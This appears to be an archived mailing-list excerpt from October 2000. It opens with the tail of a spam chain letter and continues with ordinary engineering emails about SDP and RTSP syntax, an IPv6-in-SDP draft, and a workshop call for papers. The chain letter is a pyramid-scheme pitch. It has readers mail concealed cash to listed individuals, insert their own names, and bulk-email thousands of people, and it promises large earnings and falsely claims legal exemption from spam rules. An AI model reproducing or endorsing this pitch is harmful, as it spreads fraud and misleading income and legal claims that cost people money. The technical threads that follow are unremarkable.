CASE OF ANY MAIL PROBLEMS!

Within a few days you will receive, via e-mail each of
the four reports.  Save them on your computer so you
can send them to the 1,000's of new prospects who will
order them from you.

STEP #2 ADD YOUR MAILING ADDRESS TO THIS LETTER

a.  Look below for the listing of the four reports.
b.  After you've ordered the four reports, delete the
name and address under REPORT #4.  This person has
made it through the cycle.
c.  Move the name and address under REPORT #3 down to
REPORT #4.
d.  Move the name and address under REPORT #2 down to
REPORT #3.
e.  Move the name and address under REPORT #1 down to
REPORT #2.
F.  Insert your name and address in the REPORT #1
position.
Please make sure you COPY ALL INFORMATION, every name
and address, ACCURATELY!

STEP #3 SAVE THIS LETTER

Take this entire letter, including the modified list
of names and save it to your computer.  Make NO
changes to these instructions.  Now you are ready to
use this entire e-mail to send via e-mail to new
prospects.

Report #1 will tell you how to download bulk e-mail
software and e-mail addresses so you can send it out
to thousands of new prospects while you sleep! 
Remember that 50,000 + new people are joining the
Internet every month.  Your cost to participate in
this is practically nothing - surely you can afford
$20 (US) and initial bulk mailing cost.  You obviously
already have a computer and an Internet connection and
e-mail is FREE!

PRIMARY METHODS OF BUILDING YOUR DOWNLINE:

METHOD #1               SENDING BULK E-MAIL

Let's say that you decide to start small, just to see
how it goes and we'll presume you and all those
involved e-mail out only 2,000 programs each.  Let's
also presume that the mailing receives a (0.5%)
response.  The response could be much better.  Also,
many people will e-mail out hundreds of thousands of
programs instead of just 2,000 - why stop at 2,000? 
But continuing with this example, you send out only
2,000 programs.  With a (0.5% ) response, that is only
10 orders for REPORT #1.  Those 10 people respond by
sending out 2,000 programs each for a total of 20,000.
 Out of those (0.5%) 100 people respond and order
REPORT #2.  Those 100 mail out 2,000 programs each for
a total of 200,000 total.  The (0.5%) response to that
is 10,000 orders for REPORT #4.  That's 10,000 FIVE
DOLLAR BILLS for you.  CASH!!!

Your total income in this example is $50 + $500 +
$5,000 + $50,000 for a total of $55,550.

REMEMBER FRIEND, THIS IS ASSUMING
1,990 OUT OF THE 2,000 PEOPLE YOU
E-MAIL TO WILL DO ABSOLUTELY 
NOTHING AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT 
WHAT WOULD HAPPEN IF EVERYONE,
OR HALF SENT OUT 100,000 PROGRAMS 
INSTEAD OF JUST 2,000.

You can believe many people will do just that, and
more!!!

METHOD #2               PLACING FREE ADS ON THE 
INTERNET

Advertising on the Internet is very, very inexpensive,
and there are HUNDREDS of FREE places to advertise. 
Let's say you decide to start small just to see how
well it works.  Presume your goal is to get ONLY 10
people to participate on your first level.  (Placing a
lot of FREE ads on the Internet will EASILY get a
larger response.)  Also, assume that everyone else in
YOUR ORGANIZATION gets ONLY 10 downline members.  
Look
how this small number accumulates to achieve the
STAGGERING results below:

... 1st level - your first 10 send you $5 
                                                     $50
... 2nd level - 10 members from those 10 ($5 X 100)     
                                                    $500
... 3rd level - 10 members from those 100 ($5 X 1,000)
                                                  $5,000
... 4th level - 10 members from those 1000 ($5 X
10,000)                                           50,000

$$$$$$$$$$ THIS TOTALS -------$55,550 $$$$$$$$$$

AMAZING ISN'T IT?  Remember friends, this assumes that
the people who participate only recruit 10 new people
each.  Think for a moment what would happen if they
got 20 people to participate!  Most people get 100's
of participants and many will continue to work this
program, sending out programs WITH YOUR NAME ON THEM
for years!!!  JUST THINK ABOUT IT!!!

People are going to get e-mails about this program
from you or somebody else and many will work this
plan.  The question is, don't you want your name to be
on the e-mails they will send out?  "You can't win the
lotto unless you have a ticket."

***DON'T MISS OUT!!! *** JUST TRY IT ONCE!!! ***

**SEE WHAT HAPPENS!!! ** YOU'LL BE AMAZED!!!**

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~ 

GET STARTED TODAY - PLACE YOUR ORDER FOR THE 
FOUR
REPORTS NOW.

Notes: ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR 
EACH
REPORT.
        CHECKS NOT ACCEPTED.  Make sure the cash is 
concealed
by wrapping it in two sheets of paper.  On one of
those sheets of paper write:

a) the number & name of the report you are
ordering

b) your e-mail address, and

c) your name & postal address.

REPORT #1 "The Insider´s Guide to Advertising for Free
on the Internet" 

ORDER REPORT #1 FROM: 
Karen Burmeister	
PO Box 520049
Longwood, FL  32752-0049

REPORT #2 "The Insider's Guide to Sending Bulk E-mail on the 
Internet"

ORDER REPORT #2 FROM:
Richard A. Endicott
W 180 Insels Rd.
Shelton, Wa 98584

REPORT# 3 " The secrets of Multilevel Marketing on the 
Internet"

ORDER REPORT #3 FROM:
JIM G. BURGESS
14830 OLDE HWY.80
FLINN SPRINGS, CA 92021-2807

REPORT #4 "How to become a Millionaire utilizing the Power of 
Multilevel 
Marketing and the Internet"

ORDER REPORT #4 FROM: 
Lars Pedersen
Skejbygaardsvej 7, 1, 10
8240 Risskov
Denmark


 

**********TIPS FOR SUCCESS **********

TREAT THIS AS YOUR BUSINESS!  Be prompt, professional,
and follow the directions accurately.  Send for the
four reports IMMEDIATELY so you will have them when
the orders start coming in because, when you receive a
$5 order, you MUST send out the requested
product/report.  It is required for this program to
qualify as a legal business, not to mention they need
the reports to send out their letters (with your name
on them!)

ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS 
YOU
RECEIVE.
Be patient and persistent with this program - If you
follow the instructions exactly - SUCCESSFUL results
will follow.. $$$$$

********** YOUR SUCCESS GUIDELINES **********

Follow these guidelines to guarantee your success: If
you don't receive 20 orders for REPORT #1 within two
weeks, continue advertising or sending e-mails until
you do.  Then, a couple of weeks later you should
receive at least 100 orders for REPORT #2.  If you
don't continue advertising or sending e-mails until
you do.  Once you have received 100 or more orders for
REPORT #2, YOU CAN RELAX, because the system is
already working for you, and the cash will continue to
roll in!

THIS IS IMPORTANT TO REMEMBER; Every time your name is
moved down on the list, you are placed in front of a
DIFFERENT report.  You can KEEP TRACK of your PROGRESS
by watching which reports people are ordering from
you.  To generate more income simply send another
batch of e-mails or continue placing ads and start the
whole process again!  There is no limit to the income
you will generate from this business!

??????????????????????????????????????????????????

Before you make your decision as to whether or not you
participate in this program, please answer one
question,  ARE YOU HAPPY WITH YOUR PRESENT INCOME 
OR
JOB?  If the answer is NO, then please look at the
following facts about this super simple MLM program:

... 1.  NO face to face selling, NO meetings, NO
inventory!  NO telephone calls, NO big cost to start,
NOTHING to learn, NO skills needed!  (Surely you know
how to send e-mail?)

...  2.  No equipment to buy - you already have a
computer and Internet connection - so you have
everything you need to fill orders!

...  3.  You are selling a product which DOES NOT COST
ANYTHING TO PRODUCE OR SHIP!  (e-mailing copies of the
reports is FREE!)

...  4.  All of your customers pay you in CA$H!  This
program will change your LIFE FOREVER!!!  Look at the
potential for you to be able to quit your job and live
a life of luxury you could only dream about!  Imagine
getting out of debt and buying the car and home of
your dreams and being able to work a super high paying
leisurely easy business from home!

$$$$$ FINALLY MAKE SOME DREAMS COME TRUE! $$$$$

ACT NOW!  Take your first step toward achieving
financial independence and personal freedom for you &
your family.  Order the reports and follow the program
outlined above - SUCCESS will be your reward.

PLEASE NOTE:
If you need help with starting a business, registering
a business name, learning how income tax is handled,
etc., contact your local office of the Small Business
Administration (a Federal Agency) at 1 (800) 827-5722
for free help and answers to questions.

Also, the Internal Revenue Service offers free help
via telephone and free seminars about business tax
requirements.  Your earnings are highly dependent on
your activities and advertising.  The information
contained in this program constitutes no guarantees
stated nor implied.  In the event that it is
determined that this program constitutes a guarantee
of any kind, that guarantee is now void.  The earnings
amounts listed in this program are estimated only.  If
you have any questions of the legality of this
program, contact the Office of Associate Director for
Marketing Practices, Federal Trade Commission, Bureau
of Consumer Protection in Washington, DC.

==================================================

Under Bill s. 1618 TITLE III passed by the 105th US
Congress this letter cannot be considered spam as long
as the sender includes contact information and a
method of removal.

This is a one time e-mail transmission.  No request
for removal is necessary.













































































































































































































































































From confctrl-owner  Tue Oct 24 15:37:17 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA08435
	for confctrl-outgoing; Tue, 24 Oct 2000 15:37:17 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA08430
	for <confctrl@zephyr.isi.edu>; Tue, 24 Oct 2000 15:37:15 -0700 (PDT)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA25597
	for <confctrl@isi.edu>; Tue, 24 Oct 2000 15:37:32 -0700 (PDT)
Received: from rkumar-ntl.cisco.com ([144.254.252.22])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id PAA27005;
	Tue, 24 Oct 2000 15:36:58 -0700 (PDT)
Message-Id: <4.3.2.7.2.20001024152653.00dc5a60@farley.cisco.com>
X-Sender: rkumar@farley.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 24 Oct 2000 15:41:53 -0700
To: confctrl@ISI.EDU
From: Rajesh Kumar <rkumar@cisco.com>
Subject: rfc2327 inconsistency//Special characters in SDP 
Cc: atmdp@eng.fore.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Mark Handley / Van Jocobson / MMUSIC chair,

I seem to have found an inconsistency in the rfc2327 ABNF, which, 
paradoxically makes my job of defining ATM conventions for SDP simpler!. 
Perhaps, someone (the authors?) could guide me in this regard.

The definition of 'alpha-numeric' in the rfc2327 ABNF excludes special 
characters such as $, / and -. These are included in the definition of 'safe'.

alpha-numeric =       ALPHA | DIGIT
safe =                alpha-numeric |
                          "'" | "'" | "-" | "." | "/" | ":" | "?" | """ |
                          "#" | "$" | "&" | "*" | ";" | "=" | "@" | "[" |
                          "]" | "^" | "_" | "`" | "{" | "|" | "}" | "+" |
                          "~" | "

Most of the SDP parameters are defined as 1*(alpha-numeric). Thus, 'proto' 
which is defined as 1*(alpha-numeric) should not have the "/" character, 
but it does as in RTP/AVP!

I really think that special characters should be allowed in many of these 
values, and that these definitions 1*(alpha-numeric) should be altered to 
1*(safe).

The reason why I am so interested in this is that in my conventions for SDP 
in the ATM context, I have extensively used special characters such as "/", 
"$" and "-" and I do not want to be forced to replace them with reserved 
strings such as "CHOOSE" for "$". I think that SDP ABNF syntax is 
inconsistent on this point, and I should be allowed to re-define many of 
these fields as 1*(safe) rather than 1*(alpha-numeric) for the ATM case.

I do not think there is a good reason for precluding my use of these 
special characters in the ATM conventions for SDP, since rfc2327 flouts its 
own BNF definition in this regard.

So it is 1*(safe) then in the document that will replace rfc2327?

Comments?

Rajesh Kumar
Cisco Systems


From confctrl-owner  Tue Oct 24 22:31:35 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA25966
	for confctrl-outgoing; Tue, 24 Oct 2000 22:31:35 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA25961
	for <confctrl@zephyr.isi.edu>; Tue, 24 Oct 2000 22:31:32 -0700 (PDT)
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id WAA18170
	for <confctrl@isi.edu>; Tue, 24 Oct 2000 22:31:49 -0700 (PDT)
Received: from 157.54.9.100 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 24 Oct 2000 22:30:42 -0700 (Pacific Daylight Time)
Received: by INET-IMC-03 with Internet Mail Service (5.5.2651.58)
	id <VSD3QWAV>; Tue, 24 Oct 2000 22:31:17 -0700
Message-ID: <C3729BBB6099B344834634EC67DE4AE1151797@red-msg-01.redmond.corp.microsoft.com>
From: Anders Klemets <anderskl@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: SSRC field in RTSP Transport header
Date: Tue, 24 Oct 2000 22:31:11 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I recently noticed that the value of the "ssrc" attribute in the RTSP
Transport header should represented as exactly 8 hexadecimal digits.  At
least, that is how I interpret the BNF syntax in page 61 of RFC-2326.

So what is commonly used in this field?  Hexadecimal digits or decimal
digits?  It has been suggested that there might be implementations out there
that use decimal digits, so for the sake of interoperability it would be
better to ignore that the RFC specifies hexadecimal, and keep using decimal
digits.  Any opinions?

Anders

From confctrl-owner  Wed Oct 25 14:35:24 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA08727
	for confctrl-outgoing; Wed, 25 Oct 2000 14:35:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA08722
	for <confctrl@zephyr.isi.edu>; Wed, 25 Oct 2000 14:35:23 -0700 (PDT)
Received: from lithium.dev.prognet.com (tog-wakko1.prognet.com [207.188.29.253])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA07887
	for <confctrl@isi.edu>; Wed, 25 Oct 2000 14:35:35 -0700 (PDT)
Received: from localhost (ghori@localhost)
	by lithium.dev.prognet.com (8.9.3/8.9.3) with ESMTP id NAA16619
	for <confctrl@isi.edu>; Wed, 25 Oct 2000 13:35:06 -0700
X-Authentication-Warning: lithium.dev.prognet.com: ghori owned process doing -bs
Date: Wed, 25 Oct 2000 13:35:06 -0700 (PDT)
From: Go Hori <ghori@mail.prognet.com>
X-Sender: ghori@lithium.dev.prognet.com
To: confctrl@ISI.EDU
Subject: Reply to Anders on confctrl (fwd)
Message-ID: <Pine.LNX.4.10.10010251309310.9993-100000@lithium.dev.prognet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Andres,

We don't put any ssrc info in RTSP conversation, so it doesn't really
matter to us.  And it seems QT and Entera put ssrc in RTP-Info instead of
Transport, so I would go with Hex.  Besides, we shouldn't break a correct
implementation, should we?

Go

>
>I recently noticed that the value of the "ssrc" attribute in the RTSP
>Transport header should represented as exactly 8 hexadecimal digits.  At
>least, that is how I interpret the BNF syntax in page 61 of RFC-2326.
>
>So what is commonly used in this field?  Hexadecimal digits or decimal
>digits?  It has been suggested that there might be implementations out
>there
>that use decimal digits, so for the sake of interoperability it would be
>better to ignore that the RFC specifies hexadecimal, and keep using
>decimal
>digits.  Any opinions?
>
>Anders
>



From confctrl-owner  Thu Oct 26 06:09:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA17573
	for confctrl-outgoing; Thu, 26 Oct 2000 06:09:10 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA17558
	for <confctrl@zephyr.isi.edu>; Thu, 26 Oct 2000 06:09:08 -0700 (PDT)
Received: from iraun1.ira.uka.de (iraun1.ira.uka.de [129.13.10.90])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA23793;
	Thu, 26 Oct 2000 06:09:19 -0700 (PDT)
Received: from blackfoot.telematik.informatik.uni-karlsruhe.de by iraun1 (PP) 
          with ESMTP; Thu, 26 Oct 2000 15:08:37 +0200
Received: from telematik.informatik.uni-karlsruhe.de (tpc17.telematik.informatik.uni-karlsruhe.de [129.13.42.117]) 
          by blackfoot.telematik.informatik.uni-karlsruhe.de (8.9.3/8.9.3) 
          with ESMTP id PAA13108; Thu, 26 Oct 2000 15:08:24 +0200 (MET DST)
Message-ID: <39F82D12.28D1E882@telematik.informatik.uni-karlsruhe.de>
Date: Thu, 26 Oct 2000 15:09:38 +0200
From: Klaus Wehrle <wehrle@telematik.informatik.uni-karlsruhe.de>
Organization: University of Karlsruhe - Institute of Telematics
X-Mailer: Mozilla 4.7 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
CC: Lars.Wolf@rz.uni-karlsruhe.de, Ralf.Steinmetz@KOM.tu-darmstadt.de,
        d.hutchison@lancaster.ac.uk
Subject: IWQoS 2001 - Call for Papers
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

    --> We apologize if you receive multiple copies of this. <-- 
=======================================================================


                             Preliminary
                          *CALL FOR PAPERS*
                
                     NINTH INTERNATIONAL WORKSHOP
                    on QUALITY of SERVICE (IWQoS)
                         
                  http://www.uni-karlsruhe.de/~iwqos/
                                    
                            June 6-8, 2000
                       University of Karlsruhe
                          Karlsruhe, Germany


Workshop Theme
==============

IWQoS is a very successful series of workshops providing an
international forum for the presentation and discussion of new
research and ideas on quality of service (QoS) -- the IWQoS2001
workshop in Karlsruhe follows the IWQoS events held in Columbia, Napa,
London, and Pittsburgh.  It is a premier forum for all work related to
QoS -- especially in networking but also QoS aspects outside of
networking are considered as very important as well, e.g., QoS in
operating systems, QoS in servers, advanced middleware services and
according technical issues such as quality, safety and security,
admission, accounting, mobility.  The objective of this Ninth
International Workshop on Quality of Service is to bring together
researchers, developers, and practitioners working in all these areas
to discuss recent innovative results and future directions.

The list of topics of interest includes (but is not limited to)
  - experiences with QoS (measurements, tests, evaluations)
  - QoS in heterogeneous networks
  - QoS routing
  - QoS and active networks
  - QoS for wireless and mobile
  - charging, accounting, and pricing for QoS
  - QoS support for applications and services
  - QoS in servers and endsystems
  - QoS support for information appliances
  - QoS control for middleware and platform support for QoS
  - QoS and adaptation mechanisms
  - resource management and control
  - analytical and simulation models for QoS
  - safety and security aspects
  - programmability and language aspects


Important Dates
===============
  - Paper deadline:    February 18, 2001
  - Notification:      April 2, 2001
  - Final papers due:  April 15, 2001


Committees
==========

Co-Chairs
---------
Lars Wolf, University of Karlsruhe
David Hutchison, Lancaster University 
Ralf Steinmetz, GMD IPSI


IWQoS Steering Committee
------------------------
Jon Crowcroft, UCL
Rich Friedrich, HP Labs
Edward Knightly, Rice University
Peter Steenkiste, CMU
Hui Zhang, CMU



IWQoS2001 Program Committee (preliminary)
---------------------------

Nina Bhatti, University of Arizona
Gordon Blair, University of Lancaster
Jose Brustoloni, Bell Labs
Andrew Campbell, Columbia University
Georg Carle, GMD FOKUS
Jon Crowcroft, UCL
Bruce Davie, Cisco
Hermann de Meer, UCL, London
Jan de Meer, GMD FOKUS
Serge Fdida, LIP6
Rich Friedrich, HP Labs
Kevin Jeffay, Univ. North Carolina
Edward Knightly, Rice University
Jim Kurose, U.Mass.
Jorg Liebeherr, University of Virginia
Qingming Ma, Cisco
Klara Nahrstedt, University of Illinois
Andrew Odlyzko, AT&T Research
Jim Roberts, France Telecom
Cormac Sreenan, Univ. College Cork
Peter Steenkiste, CMU
John Wroclawski, MIT


Local Organization
------------------
Lars Wolf, University of Karlsruhe
Klaus Wehrle, University of Karlsruhe


Further General Information
===========================
http://www.uni-karlsruhe.de/~iwqos/
mailto:iwqos@uni-karlsruhe.de

From confctrl-owner  Fri Oct 27 00:46:25 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA04079
	for confctrl-outgoing; Fri, 27 Oct 2000 00:46:25 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA04074
	for <confctrl@zephyr.isi.edu>; Fri, 27 Oct 2000 00:46:24 -0700 (PDT)
Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id AAA06448
	for <confctrl@isi.edu>; Fri, 27 Oct 2000 00:46:42 -0700 (PDT)
Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124])
	by imr1.ericy.com (8.9.3/8.9.3) with ESMTP id CAA08860;
	Fri, 27 Oct 2000 02:46:41 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179])
	by mr5.exu.ericsson.se (8.10.2/8.10.2) with ESMTP id e9R7iqk11794;
	Fri, 27 Oct 2000 02:44:52 -0500 (CDT)
Received: from ericsson.com (kipe41.eraj.ericsson.se [147.214.68.41]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id CAA12999; Fri, 27 Oct 2000 02:46:39 -0500 (CDT)
Message-ID: <39F932DD.F8D390BE@ericsson.com>
Date: Fri, 27 Oct 2000 09:46:37 +0200
From: Sean Olson <sean.olson@ericsson.com>
Organization: Ericsson Inc.
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, sip@lists.bell-labs.com
Subject: New I-D on SDP and IPv6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

There is a new Internet-Draft available on the use of IPv6
addresses in SDP. The I-D simply clarifies the syntax to use
for representing an IPv6 address in an SDP description.
Any comments are welcome.

http://www.ietf.org/internet-drafts/draft-olson-sdp-ipv6-00.txt

Regards,
Sean Olson <sean.olson@ericsson.com>




From confctrl-owner  Fri Oct 27 15:28:54 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA13174
	for confctrl-outgoing; Fri, 27 Oct 2000 15:28:54 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA13169
	for <confctrl@zephyr.isi.edu>; Fri, 27 Oct 2000 15:28:53 -0700 (PDT)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id PAA23534
	for <confctrl@isi.edu>; Fri, 27 Oct 2000 15:29:11 -0700 (PDT)
Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 27 Oct 2000 15:28:27 -0700 (Pacific Daylight Time)
Received: by INET-IMC-02 with Internet Mail Service (5.5.2651.58)
	id <VX4RXJTD>; Fri, 27 Oct 2000 15:28:25 -0700
Message-ID: <B5468CB3A359784A81A0923A24C01CA60BAF64@red-msg-03.redmond.corp.microsoft.com>
From: Christian Huitema <huitema@microsoft.com>
To: "'Sean Olson'" <sean.olson@ericsson.com>, confctrl@ISI.EDU,
        sip@lists.bell-labs.com
Subject: RE: [SIP] New I-D on SDP and IPv6
Date: Fri, 27 Oct 2000 15:28:09 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Why are you trying to syntactically prevent the use of IPv4 class E
addresses, or IPv4 addresses that terminate in ".0" ? These may not be
terribly useful, but a syntax description is the wrong place to do this kind
of controls. Besides, I can see why I would want in some cases to use a null
address, or an experimental anycast address.

Besides, the whole thing does not seem consistent. You don't spend the same
amount of effort to qualify the fact that there shall be at most 8 hexparts
in the IPv6 address, or that the IPv6 multicast addresses start with a well
known prefix. I believe it would be much simpler to simply use the
definitions:

   IP6-address =         hexpart [ ":" IP4-address ] 
   IP4-address =         decimal-uchar 3*( "." decimal-uchar )
   IP4-unicast = IP4-address
   IP6-unicast = IP6-address
   IP4-multicast = IP4-address
   IP6-multicast = IP6-address

And do the test "is this a multicast address" later, not during parsing.

> -----Original Message-----
> From: Sean Olson [mailto:sean.olson@ericsson.com]
> Sent: Friday, October 27, 2000 12:47 AM
> To: confctrl@isi.edu; sip@lists.bell-labs.com
> Subject: [SIP] New I-D on SDP and IPv6
> 
> 
> Hello,
> 
> There is a new Internet-Draft available on the use of IPv6
> addresses in SDP. The I-D simply clarifies the syntax to use
> for representing an IPv6 address in an SDP description.
> Any comments are welcome.
> 
> http://www.ietf.org/internet-drafts/draft-olson-sdp-ipv6-00.txt
> 
> Regards,
> Sean Olson <sean.olson@ericsson.com>
> 
> 
> 
> 
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip
> 

From confctrl-owner  Fri Oct 27 23:38:41 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA01548
	for confctrl-outgoing; Fri, 27 Oct 2000 23:38:41 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA01542
	for <confctrl@zephyr.isi.edu>; Fri, 27 Oct 2000 23:38:39 -0700 (PDT)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id XAA26594
	for <confctrl@isi.edu>; Fri, 27 Oct 2000 23:38:57 -0700 (PDT)
Received: from rkumar-ntl.cisco.com ([144.254.252.22])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id XAA26372;
	Fri, 27 Oct 2000 23:38:24 -0700 (PDT)
Message-Id: <4.3.2.7.2.20001027214325.00e49100@farley.cisco.com>
X-Sender: rkumar@farley.cisco.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 27 Oct 2000 21:46:40 -0700
To: Brian.Rosen@marconi.com, mmostafa@cisco.com, bfoster@cisco.com,
        fandreas@cisco.com
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Question: MIME (rfc2048 registry) of ATM SDP parameter values
Cc: atmsdp@eng.fore.com, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Team,
Since MIME registry applies to IP-based object classes only, there is no 
need to register the ATM formats, encodings, encapsulations, profiles etc. 
referenced in the ATM SDP draft.
This is even though we're using an IP-based control fabric, the bearer 
fabric represented in ATM SDP are not IP-based structures and are therefore 
not amenable to rfc2048 (MIME) registry. 	

The rfc2327 suggestion to MIME-register SDP parameter extensions does not 
apply to ATM SDP.

Please confirm, refute, guide.

Rajesh Kumar
Cisco Systems
Phone 408 527 0811
Fax 408 853-1101


From confctrl-owner  Sun Oct 29 07:04:22 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA27470
	for confctrl-outgoing; Sun, 29 Oct 2000 07:04:22 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA27465
	for <confctrl@zephyr.isi.edu>; Sun, 29 Oct 2000 07:04:21 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA21214
	for <confctrl@ISI.EDU>; Sun, 29 Oct 2000 07:04:39 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA00560;
	Sun, 29 Oct 2000 10:06:42 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <4WS2YC6S>; Sun, 29 Oct 2000 10:00:23 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF4C3B20@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>, Brian.Rosen@marconi.com,
        mmostafa@cisco.com, bfoster@cisco.com, fandreas@cisco.com
Cc: atmsdp@eng.fore.com, confctrl@ISI.EDU
Subject: RE: Question: MIME (rfc2048 registry) of ATM SDP parameter values
Date: Sun, 29 Oct 2000 10:00:18 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




> -----Original Message-----
> From: Rajesh Kumar [mailto:rkumar@cisco.com]
> Sent: Saturday, October 28, 2000 12:47 AM
> To: Brian.Rosen@marconi.com; mmostafa@cisco.com; bfoster@cisco.com;
> fandreas@cisco.com
> Cc: atmsdp@eng.fore.com; confctrl@ISI.EDU
> Subject: Question: MIME (rfc2048 registry) of ATM SDP parameter values
> 
> 
> Team,
> Since MIME registry applies to IP-based object classes only, 
> there is no 
> need to register the ATM formats, encodings, encapsulations, 
> profiles etc. 
> referenced in the ATM SDP draft.
> This is even though we're using an IP-based control fabric, 
> the bearer 
> fabric represented in ATM SDP are not IP-based structures and 
> are therefore 
> not amenable to rfc2048 (MIME) registry. 	
> 
> The rfc2327 suggestion to MIME-register SDP parameter 
> extensions does not 
> apply to ATM SDP.
> 
> Please confirm, refute, guide.

I disagree.

There are many cases where numbers referring to non-IP based protocols are
carried in IP protocols, and these are still registered with IANA. From the
registry at iana.org, I quickly turned up a bunch:

http://www.isi.edu/in-notes/iana/assignments/address-family-numbers

which includes a variety of ITU numbering plans and other stuff

http://www.isi.edu/in-notes/iana/assignments/novell-sap-numbers

Novell SAP numbers

-Jonathan R.

---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

From confctrl-owner  Sun Oct 29 11:36:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA06562
	for confctrl-outgoing; Sun, 29 Oct 2000 11:36:40 -0800 (PST)
